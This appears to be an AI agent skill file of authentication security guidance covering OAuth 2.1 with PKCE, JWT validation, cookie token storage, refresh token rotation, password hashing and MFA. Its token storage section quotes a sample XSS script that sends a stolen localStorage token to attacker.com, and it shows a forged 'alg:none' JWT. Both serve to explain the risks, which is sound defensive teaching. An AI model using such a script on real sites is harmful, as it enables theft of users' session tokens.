Auth Security Expert

⚠️ CRITICAL: OAuth 2.1 becomes MANDATORY Q2 2026

OAuth 2.1 consolidates a decade of security best practices into a single specification (draft-ietf-oauth-v2-1). Google, Microsoft, and Okta have already deprecated legacy OAuth 2.0 flows with enforcement deadlines in Q2 2026.

Required Changes from OAuth 2.0

1. PKCE is REQUIRED for ALL Clients

• Previously optional, now MANDATORY for public AND confidential clients
• Prevents authorization code interception and injection attacks
• Code verifier: 43-128 cryptographically random URL-safe characters
• Code challenge: BASE64URL(SHA256(code_verifier))
• Code challenge method: MUST be 'S256' (SHA-256), not 'plain'

// Correct PKCE implementation
async function generatePKCE() {
  const array = new Uint8Array(32); // 256 bits
  crypto.getRandomValues(array); // Cryptographically secure random
  const verifier = base64UrlEncode(array);

  const encoder = new TextEncoder();
  const hash = await crypto.subtle.digest('SHA-256', encoder.encode(verifier));
  const challenge = base64UrlEncode(new Uint8Array(hash));

  return { verifier, challenge };
}

// Helper: Base64 URL encoding
function base64UrlEncode(buffer) {
  return btoa(String.fromCharCode(...new Uint8Array(buffer)))
    .replace(/\+/g, '-')
    .replace(/\//g, '_')
    .replace(/=+$/, '');
}

2. Implicit Flow REMOVED

• ❌ response_type=token or response_type=id_token token - FORBIDDEN
• Tokens exposed in URL fragments leak via:
  • Browser history
  • Referrer headers to third-party scripts
  • Server logs (if fragment accidentally logged)
  • Browser extensions
• Migration: Use Authorization Code Flow + PKCE for ALL SPAs

3. Resource Owner Password Credentials (ROPC) REMOVED

• ❌ grant_type=password - FORBIDDEN
• Violates delegated authorization principle
• Increases phishing and credential theft risk
• Forces users to trust client with credentials
• Migration: Authorization Code Flow for users, Client Credentials for services

4. Bearer Tokens in URI Query Parameters FORBIDDEN

• ❌ GET /api/resource?access_token=xyz - FORBIDDEN
• Tokens leak via:
  • Server access logs
  • Proxy logs
  • Browser history
  • Referrer headers
• ✅ Use Authorization header: Authorization: Bearer <token>
• ✅ Or secure POST body parameter

5. Exact Redirect URI Matching REQUIRED

• No wildcards: https://*.example.com - FORBIDDEN
• No partial matches or subdomain wildcards
• MUST perform exact string comparison
• Prevents open redirect vulnerabilities
• Implementation: Register each redirect URI explicitly

// Server-side redirect URI validation
function validateRedirectUri(requestedUri, registeredUris) {
  // EXACT match required - no wildcards, no normalization
  return registeredUris.includes(requestedUri);
}

6. Refresh Token Protection REQUIRED

• MUST implement ONE of:
  • Sender-constrained tokens (mTLS, DPoP - Demonstrating Proof-of-Possession)
  • Refresh token rotation with reuse detection (recommended for most apps)

PKCE Downgrade Attack Prevention

The Attack: Attacker intercepts authorization request and strips code_challenge parameters. If authorization server allows backward compatibility with OAuth 2.0 (non-PKCE), it proceeds without PKCE protection. Attacker steals authorization code and exchanges it without needing the code_verifier.

Prevention (Server-Side):

// Authorization endpoint - REJECT requests without PKCE
app.get('/authorize', (req, res) => {
  const { code_challenge, code_challenge_method } = req.query;

  // OAuth 2.1: PKCE is MANDATORY
  if (!code_challenge || !code_challenge_method) {
    return res.status(400).json({
      error: 'invalid_request',
      error_description: 'code_challenge required (OAuth 2.1)',
    });
  }

  if (code_challenge_method !== 'S256') {
    return res.status(400).json({
      error: 'invalid_request',
      error_description: 'code_challenge_method must be S256',
    });
  }

  // Continue authorization flow...
});

// Token endpoint - VERIFY code_verifier
app.post('/token', async (req, res) => {
  const { code, code_verifier } = req.body;

  const authCode = await db.authorizationCodes.findOne({ code });

  if (!authCode.code_challenge) {
    return res.status(400).json({
      error: 'invalid_grant',
      error_description: 'Authorization code was not issued with PKCE',
    });
  }

  // Verify code_verifier matches code_challenge
  const hash = crypto.createHash('sha256').update(code_verifier).digest();
  const challenge = base64UrlEncode(hash);

  if (challenge !== authCode.code_challenge) {
    return res.status(400).json({
      error: 'invalid_grant',
      error_description: 'code_verifier does not match code_challenge',
    });
  }

  // Issue tokens...
});

Authorization Code Flow with PKCE (Step-by-Step)

Client-Side Implementation:

// Step 1: Generate PKCE parameters
const { verifier, challenge } = await generatePKCE();
sessionStorage.setItem('pkce_verifier', verifier); // Temporary only
sessionStorage.setItem('oauth_state', generateRandomState()); // CSRF protection

// Step 2: Redirect to authorization endpoint
const authUrl = new URL('https://auth.example.com/authorize');
authUrl.searchParams.set('response_type', 'code');
authUrl.searchParams.set('client_id', CLIENT_ID);
authUrl.searchParams.set('redirect_uri', REDIRECT_URI); // MUST match exactly
authUrl.searchParams.set('scope', 'openid profile email');
authUrl.searchParams.set('state', sessionStorage.getItem('oauth_state'));
authUrl.searchParams.set('code_challenge', challenge);
authUrl.searchParams.set('code_challenge_method', 'S256');

window.location.href = authUrl.toString();

// Step 3: Handle callback (after user authorizes)
// URL: https://yourapp.com/callback?code=xyz&state=abc
const urlParams = new URLSearchParams(window.location.search);
const code = urlParams.get('code');
const state = urlParams.get('state');

// Validate state (CSRF protection)
if (state !== sessionStorage.getItem('oauth_state')) {
  throw new Error('State mismatch - possible CSRF attack');
}

// Step 4: Exchange code for tokens
const response = await fetch('https://auth.example.com/token', {
  method: 'POST',
  headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
  body: new URLSearchParams({
    grant_type: 'authorization_code',
    code: code,
    redirect_uri: REDIRECT_URI, // MUST match authorization request
    client_id: CLIENT_ID,
    code_verifier: sessionStorage.getItem('pkce_verifier'), // Prove possession
  }),
});

const tokens = await response.json();

// Clear PKCE parameters immediately
sessionStorage.removeItem('pkce_verifier');
sessionStorage.removeItem('oauth_state');

// Server should set tokens as HttpOnly cookies (see Token Storage section)

OAuth 2.1 Security Checklist

Before Production Deployment:

• PKCE enabled for ALL clients (public AND confidential)
• PKCE downgrade prevention (reject requests without code_challenge)
• Implicit Flow completely disabled/removed
• Password Credentials Flow disabled/removed
• Exact redirect URI matching enforced (no wildcards)
• Tokens NEVER in URL query parameters
• Authorization server rejects 'code_challenge_method=plain'
• State parameter validated (CSRF protection)
• All communication over HTTPS only
• Token endpoint requires client authentication (for confidential clients)

JWT Security (RFC 8725 - Best Practices)

⚠️ CRITICAL: JWT vulnerabilities are in OWASP Top 10 (Broken Authentication)

Token Lifecycle Best Practices

Access Tokens:

• Lifetime: ≤15 minutes maximum (recommended: 5-15 minutes)
• Short-lived to limit damage from token theft
• Stateless validation (no database lookup needed)
• Include minimal claims (user ID, permissions, expiry)

Refresh Tokens:

• Lifetime: Days to weeks (7-30 days typical)
• MUST implement rotation (issue new, invalidate old)
• Stored securely server-side (hashed, like passwords)
• Revocable (require database lookup)

ID Tokens (OpenID Connect):

• Short-lived (5-60 minutes)
• Contains user profile information
• MUST validate signature and claims
• Never use for API authorization (use access tokens)

JWT Signature Algorithms (RFC 8725)

✅ RECOMMENDED Algorithms:

RS256 (RSA with SHA-256)

• Asymmetric signing (private key signs, public key verifies)
• Best for distributed systems (API gateway can verify without private key)
• Key size: 2048-bit minimum (4096-bit for high security)

const jwt = require('jsonwebtoken');
const fs = require('fs');

// Sign with private key
const privateKey = fs.readFileSync('private.pem');
const token = jwt.sign(payload, privateKey, {
  algorithm: 'RS256',
  expiresIn: '15m',
  issuer: 'https://auth.example.com',
  audience: 'api.example.com',
  keyid: 'key-2024-01', // Key rotation tracking
});

// Verify with public key
const publicKey = fs.readFileSync('public.pem');
const decoded = jwt.verify(token, publicKey, {
  algorithms: ['RS256'], // Whitelist ONLY expected algorithm
  issuer: 'https://auth.example.com',
  audience: 'api.example.com',
});

ES256 (ECDSA with SHA-256)

• Asymmetric signing (smaller keys than RSA, same security)
• Faster signing/verification than RSA
• Key size: 256-bit (equivalent to 3072-bit RSA)

// Generate ES256 key pair (one-time setup)
const { generateKeyPairSync } = require('crypto');
const { privateKey, publicKey } = generateKeyPairSync('ec', {
  namedCurve: 'prime256v1', // P-256 curve
});

const token = jwt.sign(payload, privateKey, {
  algorithm: 'ES256',
  expiresIn: '15m',
});

⚠️ USE WITH CAUTION:

HS256 (HMAC with SHA-256)

• Symmetric signing (same secret for sign and verify)
• ONLY for single-server systems (secret must be shared to verify)
• NEVER expose secret to clients
• NEVER use if API gateway/microservices need to verify tokens

// Only use HS256 if ALL verification happens on same server
const secret = process.env.JWT_SECRET; // 256-bit minimum
const token = jwt.sign(payload, secret, {
  algorithm: 'HS256',
  expiresIn: '15m',
});

const decoded = jwt.verify(token, secret, {
  algorithms: ['HS256'], // STILL whitelist algorithm
});

❌ FORBIDDEN Algorithms:

none (No Signature)

// NEVER accept unsigned tokens
const decoded = jwt.verify(token, null, {
  algorithms: ['none'], // ❌ CRITICAL VULNERABILITY
});

// Attacker can create token: {"alg":"none","typ":"JWT"}.{"sub":"admin"}

Prevention:

// ALWAYS whitelist allowed algorithms, NEVER allow 'none'
jwt.verify(token, publicKey, {
  algorithms: ['RS256', 'ES256'], // Whitelist only
});

JWT Validation (Complete Checklist)

async function validateAccessToken(token) {
  try {
    // 1. Parse without verification first (to check 'alg')
    const unverified = jwt.decode(token, { complete: true });

    // 2. Reject 'none' algorithm
    if (!unverified || unverified.header.alg === 'none') {
      throw new Error('Unsigned JWT not allowed');
    }

    // 3. Verify signature with public key
    const publicKey = await getPublicKey(unverified.header.kid); // Key ID
    const decoded = jwt.verify(token, publicKey, {
      algorithms: ['RS256', 'ES256'], // Whitelist expected algorithms
      issuer: 'https://auth.example.com', // Expected issuer
      audience: 'api.example.com', // This API's identifier
      clockTolerance: 30, // Allow 30s clock skew
      complete: false, // Return payload only
    });

    // 4. Validate required claims
    if (!decoded.sub) throw new Error('Missing subject (sub) claim');
    if (!decoded.exp) throw new Error('Missing expiry (exp) claim');
    if (!decoded.iat) throw new Error('Missing issued-at (iat) claim');
    if (!decoded.jti) throw new Error('Missing JWT ID (jti) claim');

    // 5. Validate token lifetime (belt-and-suspenders with jwt.verify)
    const now = Math.floor(Date.now() / 1000);
    if (decoded.exp <= now) throw new Error('Token expired');
    if (decoded.nbf && decoded.nbf > now) throw new Error('Token not yet valid');

    // 6. Check token revocation (if implementing revocation list)
    if (await isTokenRevoked(decoded.jti)) {
      throw new Error('Token has been revoked');
    }

    // 7. Validate custom claims
    if (decoded.scope && !decoded.scope.includes('read:resource')) {
      throw new Error('Insufficient permissions');
    }

    return decoded;
  } catch (error) {
    // NEVER use the token if ANY validation fails
    console.error('JWT validation failed:', error.message);
    throw new Error('Invalid token');
  }
}

JWT Claims (RFC 7519)

Registered Claims (Standard):

• iss (issuer): Authorization server URL - VALIDATE
• sub (subject): User ID (unique, immutable) - REQUIRED
• aud (audience): API/service identifier - VALIDATE
• exp (expiration): Unix timestamp - REQUIRED, ≤15 min for access tokens
• iat (issued at): Unix timestamp - REQUIRED
• nbf (not before): Unix timestamp - OPTIONAL
• jti (JWT ID): Unique token ID - REQUIRED for revocation

Custom Claims (Application-Specific):

const payload = {
  // Standard claims
  iss: 'https://auth.example.com',
  sub: 'user_12345',
  aud: 'api.example.com',
  exp: Math.floor(Date.now() / 1000) + 15 * 60, // 15 minutes
  iat: Math.floor(Date.now() / 1000),
  jti: crypto.randomUUID(),

  // Custom claims
  scope: 'read:profile write:profile admin:users',
  role: 'admin',
  tenant_id: 'tenant_789',
  email: 'user@example.com', // OK for access token, not sensitive
  // NEVER include: password, SSN, credit card, etc.
};

⚠️ NEVER Store Sensitive Data in JWT:

• JWTs are base64-encoded, NOT encrypted (anyone can decode)
• Assume all JWT contents are public
• Use encrypted JWE (JSON Web Encryption) if you must include sensitive data

Token Storage Security

✅ CORRECT: HttpOnly Cookies (Server-Side)

// Server sets tokens as HttpOnly cookies after OAuth callback
app.post('/auth/callback', async (req, res) => {
  const { access_token, refresh_token } = await exchangeCodeForTokens(req.body.code);

  // Access token cookie
  res.cookie('access_token', access_token, {
    httpOnly: true, // Cannot be accessed by JavaScript (XSS protection)
    secure: true, // HTTPS only
    sameSite: 'strict', // CSRF protection (blocks cross-site requests)
    maxAge: 15 * 60 * 1000, // 15 minutes
    path: '/',
    domain: '.example.com', // Allow subdomains
  });

  // Refresh token cookie (more restricted)
  res.cookie('refresh_token', refresh_token, {
    httpOnly: true,
    secure: true,
    sameSite: 'strict',
    maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days
    path: '/auth/refresh', // ONLY accessible by refresh endpoint
    domain: '.example.com',
  });

  res.json({ success: true });
});

// Client makes authenticated requests (browser sends cookie automatically)
fetch('https://api.example.com/user/profile', {
  credentials: 'include', // Include cookies in request
});

❌ WRONG: localStorage/sessionStorage

// ❌ VULNERABLE TO XSS ATTACKS
localStorage.setItem('access_token', token);
sessionStorage.setItem('access_token', token);

// Any XSS vulnerability (even third-party script) can steal tokens:
// <script>
//   const token = localStorage.getItem('access_token');
//   fetch('https://attacker.com/steal?token=' + token);
// </script>

Why HttpOnly Cookies Prevent XSS Theft:

• httpOnly: true makes cookie inaccessible to JavaScript (document.cookie returns empty)
• Even if XSS exists, attacker cannot read the token
• Browser automatically includes cookie in requests (no JavaScript needed)

Refresh Token Rotation with Reuse Detection

The Attack: Refresh Token Theft If attacker steals refresh token, they can generate unlimited access tokens until refresh token expires (days/weeks).

The Defense: Rotation + Reuse Detection Every refresh generates new refresh token and invalidates old one. If old token is used again, ALL tokens for that user are revoked (signals possible theft).

Server-Side Implementation:

app.post('/auth/refresh', async (req, res) => {
  const oldRefreshToken = req.cookies.refresh_token;

  try {
    // 1. Validate refresh token (check signature, expiry)
    const decoded = jwt.verify(oldRefreshToken, publicKey, {
      algorithms: ['RS256'],
      issuer: 'https://auth.example.com',
    });

    // 2. Look up token in database (we store hashed refresh tokens)
    const tokenHash = crypto.createHash('sha256').update(oldRefreshToken).digest('hex');
    const tokenRecord = await db.refreshTokens.findOne({
      tokenHash,
      userId: decoded.sub,
    });

    if (!tokenRecord) {
      throw new Error('Refresh token not found');
    }

    // 3. CRITICAL: Detect token reuse (possible theft)
    if (tokenRecord.isUsed) {
      // Token was already used - this is a REUSE ATTACK
      await db.refreshTokens.deleteMany({ userId: decoded.sub }); // Revoke ALL tokens
      await logSecurityEvent('REFRESH_TOKEN_REUSE_DETECTED', {
        userId: decoded.sub,
        tokenId: decoded.jti,
        ip: req.ip,
        userAgent: req.headers['user-agent'],
      });

      // Send alert to user's email
      await sendSecurityAlert(decoded.sub, 'Token theft detected - all sessions terminated');

      return res.status(401).json({
        error: 'token_reuse',
        error_description: 'Refresh token reuse detected - all sessions revoked',
      });
    }

    // 4. Mark old token as used (ATOMIC operation before issuing new tokens)
    await db.refreshTokens.updateOne(
      { tokenHash },
      {
        $set: { isUsed: true, lastUsedAt: new Date() },
      }
    );

    // 5. Generate new tokens
    const newAccessToken = jwt.sign(
      {
        sub: decoded.sub,
        scope: decoded.scope,
        exp: Math.floor(Date.now() / 1000) + 15 * 60,
      },
      privateKey,
      { algorithm: 'RS256' }
    );

    const newRefreshToken = jwt.sign(
      {
        sub: decoded.sub,
        scope: decoded.scope,
        exp: Math.floor(Date.now() / 1000) + 7 * 24 * 60 * 60, // 7 days
        jti: crypto.randomUUID(),
      },
      privateKey,
      { algorithm: 'RS256' }
    );

    // 6. Store new refresh token (hashed)
    const newTokenHash = crypto.createHash('sha256').update(newRefreshToken).digest('hex');
    await db.refreshTokens.create({
      userId: decoded.sub,
      tokenHash: newTokenHash,
      isUsed: false,
      expiresAt: new Date(Date.now() + 7 * 24 * 60 * 60 * 1000),
      createdAt: new Date(),
      userAgent: req.headers['user-agent'],
      ipAddress: req.ip,
    });

    // 7. Set new tokens as cookies
    res.cookie('access_token', newAccessToken, {
      httpOnly: true,
      secure: true,
      sameSite: 'strict',
      maxAge: 15 * 60 * 1000,
    });

    res.cookie('refresh_token', newRefreshToken, {
      httpOnly: true,
      secure: true,
      sameSite: 'strict',
      maxAge: 7 * 24 * 60 * 60 * 1000,
      path: '/auth/refresh',
    });

    res.json({ success: true });
  } catch (error) {
    // Clear invalid cookies
    res.clearCookie('refresh_token');
    res.status(401).json({ error: 'invalid_token' });
  }
});

Database Schema (Refresh Tokens):

{
  userId: 'user_12345',
  tokenHash: 'sha256_hash_of_refresh_token', // NEVER store plaintext
  isUsed: false, // Set to true when token is used for refresh
  expiresAt: ISODate('2026-02-01T00:00:00Z'),
  createdAt: ISODate('2026-01-25T00:00:00Z'),
  lastUsedAt: null, // Updated when isUsed set to true
  userAgent: 'Mozilla/5.0...',
  ipAddress: '192.168.1.1',
  jti: 'uuid-v4', // Matches JWT 'jti' claim
}

Password Hashing (2026 Best Practices)

Recommended: Argon2id

• Winner of Password Hashing Competition (2015)
• Resistant to both GPU cracking and side-channel attacks
• Configurable memory, time, and parallelism parameters

// Argon2id example (Node.js)
import argon2 from 'argon2';

// Hash password
const hash = await argon2.hash(password, {
  type: argon2.argon2id,
  memoryCost: 19456, // 19 MiB
  timeCost: 2,
  parallelism: 1,
});

// Verify password
const isValid = await argon2.verify(hash, password);

Acceptable Alternative: bcrypt

• Still secure but slower than Argon2id for same security level
• Work factor: minimum 12 (recommended 14+ in 2026)

// bcrypt example
import bcrypt from 'bcryptjs';

const hash = await bcrypt.hash(password, 14); // Cost factor 14
const isValid = await bcrypt.compare(password, hash);

NEVER use:

• MD5, SHA-1, SHA-256 alone (not designed for passwords)
• Plain text storage
• Reversible encryption

Multi-Factor Authentication (MFA)

Types of MFA:

TOTP (Time-based One-Time Passwords)

• Apps: Google Authenticator, Authy, 1Password
• 6-digit codes that rotate every 30 seconds
• Offline-capable

WebAuthn/FIDO2 (Passkeys)

• Most secure option (phishing-resistant)
• Hardware tokens (YubiKey) or platform authenticators (Face ID, Touch ID)
• Public key cryptography, no shared secrets

SMS-based (Legacy - NOT recommended)

• Vulnerable to SIM swapping attacks
• Use only as fallback, never as primary MFA

Backup Codes

• Provide one-time recovery codes during MFA enrollment
• Store securely (hashed in database)

Implementation Best Practices:

• Allow multiple MFA methods per user
• Enforce MFA for admin/privileged accounts
• Provide clear enrollment and recovery flows
• Never bypass MFA without proper verification

Passkeys / WebAuthn

Why Passkeys:

• Phishing-resistant (cryptographic binding to origin)
• No shared secrets to leak or intercept
• Passwordless authentication
• Synced across devices (Apple, Google, Microsoft ecosystems)

Implementation:

• Use @simplewebauthn/server (Node.js) or similar libraries
• Support both platform authenticators (biometrics) and roaming authenticators (security keys)
• Provide fallback authentication method during transition

WebAuthn Registration Flow:

1. Server generates challenge
2. Client creates credential with authenticator
3. Client sends public key to server
4. Server stores public key associated with user account

WebAuthn Authentication Flow:

1. Server generates challenge
2. Client signs challenge with private key (stored in authenticator)
3. Server verifies signature with stored public key

Session Management

Secure Session Practices:

• Use secure, HTTP-only cookies for session tokens
  • Set-Cookie: session=...; Secure; HttpOnly; SameSite=Strict
• Implement absolute timeout (e.g., 24 hours)
• Implement idle timeout (e.g., 30 minutes of inactivity)
• Regenerate session ID after login (prevent session fixation)
• Provide "logout all devices" functionality

Session Storage:

• Server-side session store (Redis, database)
• Don't store sensitive data in client-side storage
• Implement session revocation on password change

Security Headers

Essential HTTP Security Headers:

• Strict-Transport-Security: max-age=31536000; includeSubDomains (HSTS)
• X-Content-Type-Options: nosniff
• X-Frame-Options: DENY or SAMEORIGIN
• Content-Security-Policy: default-src 'self'
• X-XSS-Protection: 1; mode=block (legacy support)

Common Vulnerabilities to Prevent

Injection Attacks:

• Use parameterized queries (SQL injection prevention)
• Validate and sanitize all user input
• Use ORMs with built-in protection

Cross-Site Scripting (XSS):

• Escape output in templates
• Use Content Security Policy headers
• Never use eval() or innerHTML with user input

Cross-Site Request Forgery (CSRF):

• Use CSRF tokens for state-changing operations
• Verify origin/referer headers
• Use SameSite cookie attribute

Broken Authentication:

• Enforce strong password policies
• Implement account lockout after failed attempts
• Use MFA for sensitive operations
• Never expose user enumeration (same error for "user not found" and "invalid password")

Consolidated Skills

This expert skill consolidates 1 individual skills:

• auth-security-expert

Related Skills

• security-architect - Threat modeling (STRIDE), OWASP Top 10, and security architecture patterns

Iron Laws

1. NEVER store JWTs in localStorage — localStorage is accessible to any JavaScript on the page, making it trivially vulnerable to XSS; always use httpOnly secure cookies.
2. ALWAYS validate JWT signature before using any claims — an unvalidated JWT can be forged; never decode claims without first verifying the signature against the expected algorithm and key.
3. NEVER use HS256 with a client-accessible secret — HS256 shared secrets are exposed when the client holds them; use RS256 or ES256 so only the server can sign.
4. NEVER allow the implicit OAuth grant — the implicit grant is deprecated in OAuth 2.1 due to token leakage in redirect fragments; always use authorization code + PKCE.
5. ALWAYS set JWT access token expiry to 15 minutes or less — long-lived access tokens remain valid after compromise; use refresh token rotation to maintain sessions without long-lived tokens.

Anti-Patterns

Anti-Pattern	Why It Fails	Correct Approach
JWT stored in localStorage	XSS-accessible; any script can steal the token	Use httpOnly secure cookies
No JWT signature validation	Forged tokens are accepted silently	Always call verify(), never just decode()
HS256 with client secret	Secret is embedded in client code; trivially extracted	Use RS256/ES256 with server-side private key
Implicit OAuth grant	Token in URL fragment leaks via referrer headers	Authorization code + PKCE flow
Access token lifetime >15 minutes	Stolen tokens remain valid too long after breach	Set exp to 5-15 minutes; use refresh token rotation

Memory Protocol (MANDATORY)

Before starting:

cat .claude/context/memory/learnings.md

After completing: Record any new patterns or exceptions discovered.

ASSUME INTERRUPTION: Your context may reset. If it's not in memory, it didn't happen.